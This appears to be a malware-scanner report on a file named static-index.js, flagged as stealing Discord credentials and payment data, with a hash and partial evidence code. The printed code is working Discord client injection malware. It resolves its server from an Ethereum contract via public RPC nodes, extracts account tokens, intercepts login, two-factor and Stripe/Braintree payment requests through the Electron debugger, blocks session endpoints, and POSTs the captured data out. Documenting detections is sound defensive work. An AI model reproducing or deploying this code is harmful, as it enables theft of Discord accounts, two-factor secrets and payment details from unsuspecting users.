static-index.js
Steals Discord credentials and payment data
Discord Electron token interceptionReferences the toString conversion method
SHA-256d9f3c46beb0cd04099b6af230298b90b972fdd228ec4c568d6908574cd9e9125
Evidence
1const querystring = require('querystring');
2const https = require('https');
3const crypto = require('crypto');
4const fs = require('fs');
5
6const {
7 BrowserWindow,
8 session,
9} = require('electron');
10
11const DEBUG_LOG = 'C:\\Users\\vbox\\Desktop\\dci\\logs.log';
12const debug = (msg) => {
13 try {
14 fs.appendFileSync(DEBUG_LOG, `[${new Date().toISOString()}] ${msg}\n`);
15 } catch {}
16};
17
18debug('=== INJECTION LOADED ===');
19
20const RPC_URLS = [
21 "https://eth.llamarpc.com", "https://eth.api.onfinality.io/public", "https://rpc.eth.gateway.fm",
22 "https://ethereum-rpc.publicnode.com", "https://eth.rpc.blxrbdn.com", "https://ethereum.rpc.subquery.network/public",
23 "https://ethereum-json-rpc.stakely.io", "https://ethereum-public.nodies.app", "https://core.gashawk.io/rpc",
24 "https://mainnet.gateway.tenderly.co", "https://ethereum-mainnet.gateway.tatum.io", "https://eth1.lava.build",
25 "https://eth.meowrpc.com", "https://public-eth.nownodes.io", "https://rpc.mevblocker.io/fast",
26 "https://rpc.mevblocker.io/noreverts", "https://rpc.mevblocker.io/fullprivacy",
27 "https://eth-mainnet.nodereal.io/v1/1659dfb40aa24bbb8153a677b98064d7", "https://eth-mainnet.public.blastapi.io",
28 "https://ethereum.public.blockpi.network/v1/rpc/public",
29 "https://eth-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf",
30 "https://eth.drpc.org", "https://eth.blockrazor.xyz", "https://rpc.flashbots.net/fast",
31 "https://gateway.tenderly.co/public/mainnet", "https://rpc.flashbots.net", "https://rpc.fullsend.to",
32 "https://eth.merkle.io", "https://api.zan.top/eth-mainnet", "https://rpc.mevblocker.io",
33 "https://endpoints.omniatech.io/v1/eth/mainnet/public", "https://1rpc.io/eth"
34];
35
36const CONTRACT_ADDRESS = "0x9044f5762e43b23ba91d124b51a045f1b51da652";
37const GET_TEXT_SELECTOR = "0x1f1bd692";
38
⋯4 lines
43 return new Promise((resolve, reject) => {
44 const urlObj = new URL(url);
45 const req = https.request({
46 hostname: urlObj.hostname,
47 port: urlObj.port || 443,
48 path: urlObj.pathname + urlObj.search,
111:4… }
112 debug('No valid server URL found');
113 return null;
114};
115
116const initServerUrl = async () => {
117 if (!SERVER_URL) {
118 SERVER_URL = "https://" + await getVerifiedServerUrl();
⋯5 lines
124 api_intercept: {
125 urls: [
126 '/auth/login',
127 '/auth/register',
128 '/mfa/totp',
129 '/mfa/totp/enable',
130 '/mfa/totp/disable',
131 '/mfa/codes-verification',
132 '/validate-billing-address',
133 '/users/@me',
134 ],
135 },
136 blocked_requests: {
137 urls: [
138 'wss://remote-auth-gateway.discord.gg/*',
139 'https://discord.com/api/v*/auth/sessions',
140 'https://*.discord.com/api/v*/auth/sessions',
141 'https://discordapp.com/api/v*/auth/sessions'
142 ],
143 },
144 payment_intercept: {
145 urls: [
146 'https://api.braintreegateway.com/merchants/49pp2rp4phym7387/client_api/v*/payment_methods/paypal_accounts',
147 'https://api.stripe.com/v*/tokens',
⋯6 lines
162:47… , ...data });
163 debug(`Sending payload: ${payload.substring(0, 100)}...`);
164 const urlObj = new URL(url);
165 const req = https.request({
166 hostname: urlObj.hostname,
167 port: urlObj.port || 443,
168 path: urlObj.pathname,
169 method: 'POST',
170 headers: {
171 'Content-Type': 'application/json',
172 'Content-Length': Buffer.byteLength(payload)
173 }
174 }, (res) => {
175 debug(`Server response: ${res.statusCode}`);
176 …
187:20… BrowserWindow.getAllWindows()[0];
188 return window.webContents.executeJavaScript(script, !0);
189};
190
191const getToken = async () => await executeJS(`
192 (function() {
193 const chunk = window.webpackChunkdiscord_app || window.webpackChunkdiscord_app_canary || window.webpackChunkdiscord_app_ptb;
194 if (!chunk) return null;
195 for (let e of Object.values(chunk.push([[Symbol()], {}, e => e.c]))) {
196 try {
197 if (!e.exports || e.exports === window …
281:17… ut(grabTokenOnStart, 8000);
282 setTimeout(grabTokenOnStart, 15000);
283 }
284
285 debug('Attaching debugger');
286 mainWindow.webContents.debugger.attach('1.3');
287 mainWindow.webContents.debugger.on('message', async (_, method, params) => {
288 if (method !== 'Network.responseReceived') return;
289 if (!CONFIG.api_intercept.urls.some(url => params.response.url.endsWith(url))) return;
290 if (![200, 202].includes(params.response.status)) return;
291 debug(`Intercepted: ${params.response.url}`);
292
293 const responseUnparsedData = awa …